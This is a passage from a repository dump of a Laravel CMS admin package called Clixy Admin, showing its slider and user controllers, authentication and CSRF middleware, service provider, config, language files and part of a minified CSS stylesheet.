                    'meta_title' => $request->input('meta_title')[$v->id],
                    'meta_keywords' => $request->input('meta_keywords')[$v->id],
                    'meta_description' => $request->input('meta_description')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}


================================================
FILE: src/Controllers/SliderController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Slide;
use Clixy\Core\Models\SlideLang;

class SliderController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::slider/slider', ['module' => 'slide']);
    }
    
    public function postList(Request $request)
    {
        $slide = new Slide();
        
        $list = $slide->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = SlideLang::where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::slider/sliderlist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $slide = new Slide;
        $slide->save();
        
        foreach ($lang_list as $v) {
            $slideLang = new SlideLang();
            $slideLang->id = $slide->id;
            $slideLang->lang_id = $v->id;
            $slideLang->save();
        }
        
        $token = csrf_token();
        return response()->json([
			'id' => $slide->id,
			'token' => $token
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
        
        Slide::where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $data = Slide::find($id);
        $slidelang = new SlideLang();
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $slidelang->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $content = $content = view('clixy/admin::slider/sliderform', ['data' => $data, 'lang_data' => $lang_data, 'lang_list' => $lang_list])->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $id = $request->input('id');
        
        $slide = Slide::find($id);
        $slide->ord = $request->input('ord');
        $slide->save();
        
        foreach ($lang_list as $v) {
            SlideLang::where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'content' => $request->input('content')[$v->id],
                    'uri' => $request->input('uri')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/UserController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\User;

class UserController extends Controller
{
    public function index(Request $request)
    {
        $user = $request->user() ? $request->user()->toArray() : ['id' => null];
        return view('clixy/admin::user.user', ['module' => 'user', 'user' => $user, 'token' => csrf_token()]);
    }
    
    public function postList()
    {
        $o = new User();
        
        $list = $o->orderBy('id', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                // var_dump(ColorLang::where('id', $v->id)->where('lang_id', 1)->first());
                // $v->lang = ColorLang::where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        // var_dump($list);
        
        $content = view('clixy/admin::user.userlist', ['list' => $list])->render();
        
        return response()->json(['list' => [], 'content' => $content, 'pagination' => '-na-', 'token' => csrf_token()]);
    }
    
    public function postCreate()
    {
        $o = new User;
        $o->save();
        
        return response()->json(['id' => $o->id, 'token' => csrf_token()]);
    }
    
    public function postSave(Request $request)
    {
        $id = $request->input('id');
        
        $o = new User();
        
        $u = $o->find($id);
        $u->name = $request->input('name');
        $u->email = $request->input('email');
        if ($request->input('password')) {
            $u->password = bcrypt($request->input('password'));
        }
        $u->save();
        
        return response()->json(['state' => true, 'token' => csrf_token()]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $o = new User;
        $data = $o->find($id);
        if ($data) {
            
        }
        $content = $content = view('clixy/admin::user.userform', ['module' => 'user', 'data' => $data])->render();
        return response()->json(['id' => 0, 'content' => $content, 'token' => csrf_token()]);
    }
    
    public function postRemove(Request $request)
    {
        User::where('id', $request->input('id'))->delete();
        return response()->json(['state' => true, 'msg' => 'done', 'token' => csrf_token()]);
    }
}

================================================
FILE: src/Middleware/Authenticate.php
================================================
<?php

namespace Clixy\Admin\Middleware;

use Closure;
use Illuminate\Support\Facades\Auth;

class Authenticate
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @param  string|null  $guard
     * @return mixed
     */
    public function handle($request, Closure $next, $guard = null)
    {
        if (Auth::guard($guard)->guest()) {
            if ($request->ajax() || $request->wantsJson()) {
                return response('Unauthorized.', 401);
            }
			
			$prefix = config('clixy.admin.prefix');
			return redirect()->guest("{$prefix}/login");
        }

        return $next($request);
    }
}


================================================
FILE: src/Middleware/EncryptCookies.php
================================================
<?php

namespace Clixy\Admin\Middleware;

use Illuminate\Cookie\Middleware\EncryptCookies as BaseEncrypter;

class EncryptCookies extends BaseEncrypter
{
    /**
     * The names of the cookies that should not be encrypted.
     *
     * @var array
     */
    protected $except = [
        //
    ];
}


================================================
FILE: src/Middleware/RedirectIfAuthenticated.php
================================================
<?php

namespace Clixy\Admin\Middleware;

use Closure;
use Illuminate\Support\Facades\Auth;

class RedirectIfAuthenticated
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @param  string|null  $guard
     * @return mixed
     */
    public function handle($request, Closure $next, $guard = null)
    {
        if (Auth::guard($guard)->check()) {
			$prefix = config('clixy.admin.prefix');
            return redirect("{$prefix}");
        }

        return $next($request);
    }
}


================================================
FILE: src/Middleware/VerifyCsrfToken.php
================================================
<?php

namespace Clixy\Admin\Middleware;

use Illuminate\Foundation\Application;
use Illuminate\Contracts\Encryption\Encrypter;

use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as BaseVerifier;

class VerifyCsrfToken extends BaseVerifier
{
	public function __construct(Application $app, Encrypter $encrypter) {

		parent::__construct($app, $encrypter);
		$prefix = config('clixy.admin.prefix');
		
		/**
		 * The URIs that should be excluded from CSRF verification.
		 *
		 * @var array
		 */
		$this->except = [
			"{$prefix}/media/upload"
		];

	}
}


================================================
FILE: src/Providers/AdminServiceProvider.php
================================================
<?php

namespace Clixy\Admin\Providers;

use Illuminate\Support\ServiceProvider;

class AdminServiceProvider extends ServiceProvider
{
	/**
	 * Indicates of loading of the provider is deferred.
	 *
	 * @var bool
	 */
	protected $defer = false;

	/**
	 * Bootstrap the application services.
	 *
	 * @return void
	 */
	public function boot()
	{
		// artisan vendor:publish
		$this->publishes([
			__DIR__ . '/../public/assets/admin' => public_path('assets/admin'),
		], 'public');
		
		// translations
		$this->loadTranslationsFrom(__DIR__ . '/../lang', 'clixy/admin');
		
		// views
		$this->loadViewsFrom(__DIR__ . '/../views', 'clixy/admin');

		// template global variables
		$this->app->view->share('prefix', config('clixy.admin.prefix') );
	}

	/**
	 * Register the application services.
	 *
	 * @return void
	 */
	public function register()
	{

		// config
		$this->mergeConfigFrom(__DIR__ . '/../config.php', 'clixy.admin');
		
		// middleware
		$this->app['router']->middleware('auth.admin', '\Clixy\Admin\Middleware\Authenticate');
		$this->app['router']->middleware('guest.admin', '\Clixy\Admin\Middleware\RedirectIfAuthenticated');
		
		//middleware groups
		$this->app['router']->middlewareGroup('admin',[
			\Clixy\Admin\Middleware\EncryptCookies::class,
			\Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
			\Illuminate\Session\Middleware\StartSession::class,
			\Illuminate\View\Middleware\ShareErrorsFromSession::class,
			\Clixy\Admin\Middleware\VerifyCsrfToken::class,
		]);
		
		// adding admin routes
		require __DIR__ . '/../routes.php';

		// clixy/core
		$this->app->register('Clixy\Core\Providers\CoreServiceProvider');
		
		// override laravel controllers
		$this->app->make('Clixy\Admin\Controllers\Auth\AuthController');

		// controllers
		$this->app->make('Clixy\Admin\Controllers\CategoryController');
		$this->app->make('Clixy\Admin\Controllers\ColorController');
		$this->app->make('Clixy\Admin\Controllers\ConfController');
		$this->app->make('Clixy\Admin\Controllers\HomeController');
		$this->app->make('Clixy\Admin\Controllers\ItemController');
		$this->app->make('Clixy\Admin\Controllers\MediaController');
		$this->app->make('Clixy\Admin\Controllers\NavigationController');
		$this->app->make('Clixy\Admin\Controllers\NewsController');
		$this->app->make('Clixy\Admin\Controllers\NewsletterController');
		$this->app->make('Clixy\Admin\Controllers\NewsletterSubscribersController');
		$this->app->make('Clixy\Admin\Controllers\PageController');
		$this->app->make('Clixy\Admin\Controllers\SliderController');
		$this->app->make('Clixy\Admin\Controllers\UserController');
	}

}


================================================
FILE: src/config.php
================================================
<?php

return [

	/*
	|--------------------------------------------------------------------------
	| Admin prefix
	|--------------------------------------------------------------------------
	|
	| Specify prefix for all routings for admin panel.
	|
	*/
	
	'prefix' => 'cms',
	
	/*
	|--------------------------------------------------------------------------
	| Media Upload Path
	|--------------------------------------------------------------------------
	|
	| Specify path where media files will be uploaded.
	| Please consider using a path where guest front-end will be accessible
	|
	*/

	'upload_dir' => public_path(),

];


================================================
FILE: src/lang/bg/auth.php
================================================
<?php

return [

    /*
    |--------------------------------------------------------------------------
    | Authentication Language Lines
    |--------------------------------------------------------------------------
    |
    | The following language lines are used during authentication for various
    | messages that we need to display to the user. You are free to modify
    | these language lines according to your application's requirements.
    |
    */

    'failed' => 'These credentials do not match our records.',
    'throttle' => 'Too many login attempts. Please try again in :seconds seconds.',

];


================================================
FILE: src/lang/bg/btn.php
================================================
<?php

return [
    'edit' => 'промени',
    'delete' => 'изтрий',
    'save' => 'запази',
    'cancel' => 'отказ',
    'login' => 'вход',
    'add' => 'добави',
];



================================================
FILE: src/lang/bg/pagination.php
================================================
<?php

return [

    /*
    |--------------------------------------------------------------------------
    | Pagination Language Lines
    |--------------------------------------------------------------------------
    |
    | The following language lines are used by the paginator library to build
    | the simple pagination links. You are free to change them to anything
    | you want to customize your views to better match your application.
    |
    */

    'previous' => '&laquo; Previous',
    'next'     => 'Next &raquo;',

];


================================================
FILE: src/lang/bg/passwords.php
================================================
<?php

return [

    /*
    |--------------------------------------------------------------------------
    | Password Reminder Language Lines
    |--------------------------------------------------------------------------
    |
    | The following language lines are the default lines which match reasons
    | that are given by the password broker for a password update attempt
    | has failed, such as for an invalid token or invalid new password.
    |
    */

    'password' => 'Passwords must be at least six characters and match the confirmation.',
    'reset' => 'Your password has been reset!',
    'sent' => 'We have e-mailed your password reset link!',
    'token' => 'This password reset token is invalid.',
    'user' => "We can't find a user with that e-mail address.",

];


================================================
FILE: src/lang/bg/validation.php
================================================
<?php

return [

    /*
    |--------------------------------------------------------------------------
    | Validation Language Lines
    |--------------------------------------------------------------------------
    |
    | The following language lines contain the default error messages used by
    | the validator class. Some of these rules have multiple versions such
    | as the size rules. Feel free to tweak each of these messages here.
    |
    */

    'accepted'             => 'The :attribute must be accepted.',
    'active_url'           => 'The :attribute is not a valid URL.',
    'after'                => 'The :attribute must be a date after :date.',
    'alpha'                => 'The :attribute may only contain letters.',
    'alpha_dash'           => 'The :attribute may only contain letters, numbers, and dashes.',
    'alpha_num'            => 'The :attribute may only contain letters and numbers.',
    'array'                => 'The :attribute must be an array.',
    'before'               => 'The :attribute must be a date before :date.',
    'between'              => [
        'numeric' => 'The :attribute must be between :min and :max.',
        'file'    => 'The :attribute must be between :min and :max kilobytes.',
        'string'  => 'The :attribute must be between :min and :max characters.',
        'array'   => 'The :attribute must have between :min and :max items.',
    ],
    'boolean'              => 'The :attribute field must be true or false.',
    'confirmed'            => 'The :attribute confirmation does not match.',
    'date'                 => 'The :attribute is not a valid date.',
    'date_format'          => 'The :attribute does not match the format :format.',
    'different'            => 'The :attribute and :other must be different.',
    'digits'               => 'The :attribute must be :digits digits.',
    'digits_between'       => 'The :attribute must be between :min and :max digits.',
    'email'                => 'The :attribute must be a valid email address.',
    'exists'               => 'The selected :attribute is invalid.',
    'filled'               => 'The :attribute field is required.',
    'image'                => 'The :attribute must be an image.',
    'in'                   => 'The selected :attribute is invalid.',
    'integer'              => 'The :attribute must be an integer.',
    'ip'                   => 'The :attribute must be a valid IP address.',
    'json'                 => 'The :attribute must be a valid JSON string.',
    'max'                  => [
        'numeric' => 'The :attribute may not be greater than :max.',
        'file'    => 'The :attribute may not be greater than :max kilobytes.',
        'string'  => 'The :attribute may not be greater than :max characters.',
        'array'   => 'The :attribute may not have more than :max items.',
    ],
    'mimes'                => 'The :attribute must be a file of type: :values.',
    'min'                  => [
        'numeric' => 'The :attribute must be at least :min.',
        'file'    => 'The :attribute must be at least :min kilobytes.',
        'string'  => 'The :attribute must be at least :min characters.',
        'array'   => 'The :attribute must have at least :min items.',
    ],
    'not_in'               => 'The selected :attribute is invalid.',
    'numeric'              => 'The :attribute must be a number.',
    'regex'                => 'The :attribute format is invalid.',
    'required'             => 'The :attribute field is required.',
    'required_if'          => 'The :attribute field is required when :other is :value.',
    'required_with'        => 'The :attribute field is required when :values is present.',
    'required_with_all'    => 'The :attribute field is required when :values is present.',
    'required_without'     => 'The :attribute field is required when :values is not present.',
    'required_without_all' => 'The :attribute field is required when none of :values are present.',
    'same'                 => 'The :attribute and :other must match.',
    'size'                 => [
        'numeric' => 'The :attribute must be :size.',
        'file'    => 'The :attribute must be :size kilobytes.',
        'string'  => 'The :attribute must be :size characters.',
        'array'   => 'The :attribute must contain :size items.',
    ],
    'string'               => 'The :attribute must be a string.',
    'timezone'             => 'The :attribute must be a valid zone.',
    'unique'               => 'The :attribute has already been taken.',
    'url'                  => 'The :attribute format is invalid.',

    /*
    |--------------------------------------------------------------------------
    | Custom Validation Language Lines
    |--------------------------------------------------------------------------
    |
    | Here you may specify custom validation messages for attributes using the
    | convention "attribute.rule" to name the lines. This makes it quick to
    | specify a specific custom language line for a given attribute rule.
    |
    */

    'custom' => [
        'attribute-name' => [
            'rule-name' => 'custom-message',
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Custom Validation Attributes
    |--------------------------------------------------------------------------
    |
    | The following language lines are used to swap attribute place-holders
    | with something more reader friendly such as E-Mail Address instead
    | of "email". This simply helps us make messages a little cleaner.
    |
    */

    'attributes' => [],

];


================================================
FILE: src/lang/en/auth.php
================================================
<?php

return [
	'loginTitle' => 'Моля, въведете данни за достъп.',
	'username' => 'Потребителско име',
	'password' => 'Парола',
	'email' => 'E-Mail',
];



================================================
FILE: src/lang/en/category.php
================================================
<?php

return [
	'slug' => 'Slug',
	'order' => 'Order',
	'active' => 'Active',
	'homepage' => 'Homepage',
	'parent' => 'Parent',
	'main' => 'Основна',
	'uri' => 'URI',
	'title' => 'Title',
	'brief' => 'Brief',
	'content' => 'Content',
];



================================================
FILE: src/lang/en/common.php
================================================
<?php

return [
	'btn' => [
		'edit' => 'промени',
		'delete' => 'изтрий',
		'save' => 'запази',
		'cancel' => 'отказ',
		'login' => 'вход',
		'add' => 'добави',
	],
];



================================================
FILE: src/public/assets/admin/css/app.css
================================================
meta.foundation-version {font-family:"/5.4.7/";}meta.foundation-mq-small {font-family:"/only screen/";width:0em;}meta.foundation-mq-medium {font-family:"/only screen and (min-width:40.063em)/";width:40.063em;}meta.foundation-mq-large {font-family:"/only screen and (min-width:64.063em)/";width:64.063em;}meta.foundation-mq-xlarge {font-family:"/only screen and (min-width:90.063em)/";width:90.063em;}meta.foundation-mq-xxlarge {font-family:"/only screen and (min-width:120.063em)/";width:120.063em;}meta.foundation-data-attribute-namespace {font-family:false;}html ,body {height:100%;}* ,*:before ,*:after {-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}html ,body {font-size:100%;}body {background:#ffffff;color:#222222;padding:0;margin:0;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;font-style:normal;line-height:150%;position:relative;cursor:auto;}a:hover {cursor:pointer;}img {max-width:100%;height:auto;}img {-ms-interpolation-mode:bicubic;}#map_canvas img ,#map_canvas embed ,#map_canvas object ,.map_canvas img ,.map_canvas embed ,.map_canvas object {max-width:none !important;}.left {float:left !important;}.right {float:right !important;}.clearfix:before ,.clearfix:after {content:" ";display:table;}.clearfix:after {clear:both;}.hide {display:none !important;visibility:hidden;}.invisible {visibility:hidden;}.antialiased {-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}img {display:inline-block;vertical-align:middle;}textarea {height:auto;min-height:50px;}select {width:100%;}.row {width:100%;margin-left:auto;margin-right:auto;margin-top:0;margin-bottom:0;max-width:62.5rem;}.row:before ,.row:after {content:" ";display:table;}.row:after {clear:both;}.row.collapse>.column ,.row.collapse>.columns {padding-left:0;padding-right:0;}.row.collapse .row {margin-left:0;margin-right:0;}.row .row {width:auto;margin-left:-0.125rem;margin-right:-0.125rem;margin-top:0;margin-bottom:0;max-width:none;}.row .row:before ,.row .row:after {content:" ";display:table;}.row .row:after {clear:both;}.row .row.collapse {width:auto;margin:0;max-width:none;}.row .row.collapse:before ,.row .row.collapse:after {content:" ";display:table;}.row .row.collapse:after {clear:both;}.column ,.columns {padding-left:0.125rem;padding-right:0.125rem;width:100%;float:left;}[class*="column"]+[class*="column"]:last-child {float:right;}[class*="column"]+[class*="column"].end {float:left;}@media only screen{.small-push-0 {position:relative;left:0%;right:auto;}.small-pull-0 {position:relative;right:0%;left:auto;}.small-push-1 {position:relative;left:8.33333%;right:auto;}.small-pull-1 {position:relative;right:8.33333%;left:auto;}.small-push-2 {position:relative;left:16.66667%;right:auto;}.small-pull-2 {position:relative;right:16.66667%;left:auto;}.small-push-3 {position:relative;left:25%;right:auto;}.small-pull-3 {position:relative;right:25%;left:auto;}.small-push-4 {position:relative;left:33.33333%;right:auto;}.small-pull-4 {position:relative;right:33.33333%;left:auto;}.small-push-5 {position:relative;left:41.66667%;right:auto;}.small-pull-5 {position:relative;right:41.66667%;left:auto;}.small-push-6 {position:relative;left:50%;right:auto;}.small-pull-6 {position:relative;right:50%;left:auto;}.small-push-7 {position:relative;left:58.33333%;right:auto;}.small-pull-7 {position:relative;right:58.33333%;left:auto;}.small-push-8 {position:relative;left:66.66667%;right:auto;}.small-pull-8 {position:relative;right:66.66667%;left:auto;}.small-push-9 {position:relative;left:75%;right:auto;}.small-pull-9 {position:relative;right:75%;left:auto;}.small-push-10 {position:relative;left:83.33333%;right:auto;}.small-pull-10 {position:relative;right:83.33333%;left:auto;}.small-push-11 {position:relative;left:91.66667%;right:auto;}.small-pull-11 {position:relative;right:91.66667%;left:auto;}.column ,.columns {position:relative;padding-left:0.125rem;padding-right:0.125rem;float:left;}.small-1 {width:8.33333%;}.small-2 {width:16.66667%;}.small-3 {width:25%;}.small-4 {width:33.33333%;}.small-5 {width:41.66667%;}.small-6 {width:50%;}.small-7 {width:58.33333%;}.small-8 {width:66.66667%;}.small-9 {width:75%;}.small-10 {width:83.33333%;}.small-11 {width:91.66667%;}.small-12 {width:100%;}.small-offset-0 {margin-left:0% !important;}.small-offset-1 {margin-left:8.33333% !important;}.small-offset-2 {margin-left:16.66667% !important;}.small-offset-3 {margin-left:25% !important;}.small-offset-4 {margin-left:33.33333% !important;}.small-offset-5 {margin-left:41.66667% !important;}.small-offset-6 {margin-left:50% !important;}.small-offset-7 {margin-left:58.33333% !important;}.small-offset-8 {margin-left:66.66667% !important;}.small-offset-9 {margin-left:75% !important;}.small-offset-10 {margin-left:83.33333% !important;}.small-offset-11 {margin-left:91.66667% !important;}.small-reset-order {margin-left:0;margin-right:0;left:auto;right:auto;float:left;}.column.small-centered ,.columns.small-centered {margin-left:auto;margin-right:auto;float:none;}.column.small-uncentered ,.columns.small-uncentered {margin-left:0;margin-right:0;float:left;}.column.small-centered:last-child ,.columns.small-centered:last-child {float:none;}.column.small-uncentered:last-child ,.columns.small-uncentered:last-child {float:left;}.column.small-uncentered.opposite ,.columns.small-uncentered.opposite {float:right;}}@media only screen and (min-width:40.063em){.medium-push-0 {position:relative;left:0%;right:auto;}.medium-pull-0 {position:relative;right:0%;left:auto;}.medium-push-1 {position:relative;left:8.33333%;right:auto;}.medium-pull-1 {position:relative;right:8.33333%;left:auto;}.medium-push-2 {position:relative;left:16.66667%;right:auto;}.medium-pull-2 {position:relative;right:16.66667%;left:auto;}.medium-push-3 {position:relative;left:25%;right:auto;}.medium-pull-3 {position:relative;right:25%;left:auto;}.medium-push-4 {position:relative;left:33.33333%;right:auto;}.medium-pull-4 {position:relative;right:33.33333%;left:auto;}.medium-push-5 {position:relative;left:41.66667%;right:auto;}.medium-pull-5 {position:relative;right:41.66667%;left:auto;}.medium-push-6 {position:relative;left:50%;right:auto;}.medium-pull-6 {position:relative;right:50%;left:auto;}.medium-push-7 {position:relative;left:58.33333%;right:auto;}.medium-pull-7 {position:relative;right:58.33333%;left:auto;}.medium-push-8 {position:relative;left:66.66667%;right:auto;}.medium-pull-8 {position:relative;right:66.66667%;left:auto;}.medium-push-9 {position:relative;left:75%;right:auto;}.medium-pull-9 {position:relative;right:75%;left:auto;}.medium-push-10 {position:relative;left:83.33333%;right:auto;}.medium-pull-10 {position:relative;right:83.33333%;left:auto;}.medium-push-11 {position:relative;left:91.66667%;right:auto;}.medium-pull-11 {position:relative;right:91.66667%;left:auto;}.column ,.columns {position:relative;padding-left:0.125rem;padding-right:0.125rem;float:left;}.medium-1 {width:8.33333%;}.medium-2 {width:16.66667%;}.medium-3 {width:25%;}.medium-4 {width:33.33333%;}.medium-5 {width:41.66667%;}.medium-6 {width:50%;}.medium-7 {width:58.33333%;}.medium-8 {width:66.66667%;}.medium-9 {width:75%;}.medium-10 {width:83.33333%;}.medium-11 {width:91.66667%;}.medium-12 {width:100%;}.medium-offset-0 {margin-left:0% !important;}.medium-offset-1 {margin-left:8.33333% !important;}.medium-offset-2 {margin-left:16.66667% !important;}.medium-offset-3 {margin-left:25% !important;}.medium-offset-4 {margin-left:33.33333% !important;}.medium-offset-5 {margin-left:41.66667% !important;}.medium-offset-6 {margin-left:50% !important;}.medium-offset-7 {margin-left:58.33333% !important;}.medium-offset-8 {margin-left:66.66667% !important;}.medium-offset-9 {margin-left:75% !important;}.medium-offset-10 {margin-left:83.33333% !important;}.medium-offset-11 {margin-left:91.66667% !important;}.medium-reset-order {margin-left:0;margin-right:0;left:auto;right:auto;float:left;}.column.medium-centered ,.columns.medium-centered {margin-left:auto;margin-right:auto;float:none;}.column.medium-uncentered ,.columns.medium-uncentered {margin-left:0;margin-right:0;float:left;}.column.medium-centered:last-child ,.columns.medium-centered:last-child {float:none;}.column.medium-uncentered:last-child ,.columns.medium-uncentered:last-child {float:left;}.column.medium-uncentered.opposite ,.columns.medium-uncentered.opposite {float:right;}.push-0 {position:relative;left:0%;right:auto;}.pull-0 {position:relative;right:0%;left:auto;}.push-1 {position:relative;left:8.33333%;right:auto;}.pull-1 {position:relative;right:8.33333%;left:auto;}.push-2 {position:relative;left:16.66667%;right:auto;}.pull-2 {position:relative;right:16.66667%;left:auto;}.push-3 {position:relative;left:25%;right:auto;}.pull-3 {position:relative;right:25%;left:auto;}.push-4 {position:relative;left:33.33333%;right:auto;}.pull-4 {position:relative;right:33.33333%;left:auto;}.push-5 {position:relative;left:41.66667%;right:auto;}.pull-5 {position:relative;right:41.66667%;left:auto;}.push-6 {position:relative;left:50%;right:auto;}.pull-6 {position:relative;right:50%;left:auto;}.push-7 {position:relative;left:58.33333%;right:auto;}.pull-7 {position:relative;right:58.33333%;left:auto;}.push-8 {position:relative;left:66.66667%;right:auto;}.pull-8 {position:relative;right:66.66667%;left:auto;}.push-9 {position:relative;left:75%;right:auto;}.pull-9 {position:relative;right:75%;left:auto;}.push-10 {position:relative;left:83.33333%;right:auto;}.pull-10 {position:relative;right:83.33333%;left:auto;}.push-11 {position:relative;left:91.66667%;right:auto;}.pull-11 {position:relative;right:91.66667%;left:auto;}}@media only screen and (min-width:64.063em){.large-push-0 {position:relative;left:0%;right:auto;}.large-pull-0 {position:relative;right:0%;left:auto;}.large-push-1 {position:relative;left:8.33333%;right:auto;}.large-pull-1 {position:relative;right:8.33333%;left:auto;}.large-push-2 {position:relative;left:16.66667%;right:auto;}.large-pull-2 {position:relative;right:16.66667%;left:auto;}.large-push-3 {position:relative;left:25%;right:auto;}.large-pull-3 {position:relative;right:25%;left:auto;}.large-push-4 {position:relative;left:33.33333%;right:auto;}.large-pull-4 {position:relative;right:33.33333%;left:auto;}.large-push-5 {position:relative;left:41.66667%;right:auto;}.large-pull-5 {position:relative;right:41.66667%;left:auto;}.large-push-6 {position:relative;left:50%;right:auto;}.large-pull-6 {position:relative;right:50%;left:auto;}.large-push-7 {position:relative;left:58.33333%;right:auto;}.large-pull-7 {position:relative;right:58.33333%;left:auto;}.large-push-8 {position:relative;left:66.66667%;right:auto;}.large-pull-8 {position:relative;right:66.66667%;left:auto;}.large-push-9 {position:relative;left:75%;right:auto;}.large-pull-9 {position:relative;right:75%;left:auto;}.large-push-10 {position:relative;left:83.33333%;right:auto;}.large-pull-10 {position:relative;right:83.33333%;left:auto;}.large-push-11 {position:relative;left:91.66667%;right:auto;}.large-pull-11 {position:relative;right:91.66667%;left:auto;}.column ,.columns {position:relative;padding-left:0.125rem;padding-right:0.125rem;float:left;}.large-1 {width:8.33333%;}.large-2 {width:16.66667%;}.large-3 {width:25%;}.large-4 {width:33.33333%;}.large-5 {width:41.66667%;}.large-6 {width:50%;}.large-7 {width:58.33333%;}.large-8 {width:66.66667%;}.large-9 {width:75%;}.large-10 {width:83.33333%;}.large-11 {width:91.66667%;}.large-12 {width:100%;}.large-offset-0 {margin-left:0% !important;}.large-offset-1 {margin-left:8.33333% !important;}.large-offset-2 {margin-left:16.66667% !important;}.large-offset-3 {margin-left:25% !important;}.large-offset-4 {margin-left:33.33333% !important;}.large-offset-5 {margin-left:41.66667% !important;}.large-offset-6 {margin-left:50% !important;}.large-offset-7 {margin-left:58.33333% !important;}.large-offset-8 {margin-left:66.66667% !important;}.large-offset-9 {margin-left:75% !important;}.large-offset-10 {margin-left:83.33333% !important;}.large-offset-11 {margin-left:91.66667% !important;}.large-reset-order {margin-left:0;margin-right:0;left:auto;right:auto;float:left;}.column.large-centered ,.columns.large-centered {margin-left:auto;margin-right:auto;float:none;}.column.large-uncentered ,.columns.large-uncentered {margin-left:0;margin-right:0;float:left;}.column.large-centered:last-child ,.columns.large-centered:last-child {float:none;}.column.large-uncentered:last-child ,.columns.large-uncentered:last-child {float:left;}.column.large-uncentered.opposite ,.columns.large-uncentered.opposite {float:right;}.push-0 {position:relative;left:0%;right:auto;}.pull-0 {position:relative;right:0%;left:auto;}.push-1 {position:relative;left:8.33333%;right:auto;}.pull-1 {position:relative;right:8.33333%;left:auto;}.push-2 {position:relative;left:16.66667%;right:auto;}.pull-2 {position:relative;right:16.66667%;left:auto;}.push-3 {position:relative;left:25%;right:auto;}.pull-3 {position:relative;right:25%;left:auto;}.push-4 {position:relative;left:33.33333%;right:auto;}.pull-4 {position:relative;right:33.33333%;left:auto;}.push-5 {position:relative;left:41.66667%;right:auto;}.pull-5 {position:relative;right:41.66667%;left:auto;}.push-6 {position:relative;left:50%;right:auto;}.pull-6 {position:relative;right:50%;left:auto;}.push-7 {position:relative;left:58.33333%;right:auto;}.pull-7 {position:relative;right:58.33333%;left:auto;}.push-8 {position:relative;left:66.66667%;right:auto;}.pull-8 {position:relative;right:66.66667%;left:auto;}.push-9 {position:relative;left:75%;right:auto;}.pull-9 {position:relative;right:75%;left:auto;}.push-10 {position:relative;left:83.33333%;right:auto;}.pull-10 {position:relative;right:83.33333%;left:auto;}.push-11 {position:relative;left:91.66667%;right:auto;}.pull-11 {position:relative;right:91.66667%;left:auto;}}.accordion {margin-bottom:0;}.accordion:before ,.accordion:after {content:" ";display:table;}.accordion:after {clear:both;}.accordion .accordion-navigation ,.accordion dd {display:block;margin-bottom:0 !important;}.accordion .accordion-navigation.active>a ,.accordion dd.active>a {background:#e8e8e8;}.accordion .accordion-navigation>a ,.accordion dd>a {background:#efefef;color:#222222;padding:1rem;display:block;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-size:1rem;}.accordion .accordion-navigation > a:hover ,.accordion dd > a:hover {background:#e3e3e3;}.accordion .accordion-navigation>.content ,.accordion dd>.content {display:none;padding:0.125rem;}.accordion .accordion-navigation > .content.active ,.accordion dd > .content.active {display:block;background:#ffffff;}.alert-box {border-style:solid;border-width:1px;display:block;font-weight:normal;margin-bottom:1.25rem;position:relative;padding:0.875rem 1.5rem 0.875rem 0.875rem;font-size:0.8125rem;transition:opacity 300ms ease-out;background-color:#008cba;border-color:#007ba0;color:#ffffff;}.alert-box .close {font-size:1.375rem;padding:9px 6px 4px;line-height:0;position:absolute;top:50%;margin-top:-0.6875rem;right:0.25rem;color:#333333;opacity:0.3;background:inherit;}.alert-box .close:hover ,.alert-box .close:focus {opacity:0.5;}.alert-box.radius {border-radius:3px;}.alert-box.round {border-radius:1000px;}.alert-box.success {background-color:#43ac6a;border-color:#3a945b;color:#ffffff;}.alert-box.alert {background-color:#f04124;border-color:#de2b0f;color:#ffffff;}.alert-box.secondary {background-color:#e7e7e7;border-color:#c7c7c7;color:#4f4f4f;}.alert-box.warning {background-color:#f08a24;border-color:#de770f;color:#ffffff;}.alert-box.info {background-color:#a0d3e8;border-color:#74bfdd;color:#4f4f4f;}.alert-box.alert-close {opacity:0;}[class*="block-grid-"] {display:block;padding:0;margin:0 -0.625rem;}[class*="block-grid-"]:before ,[class*="block-grid-"]:after {content:" 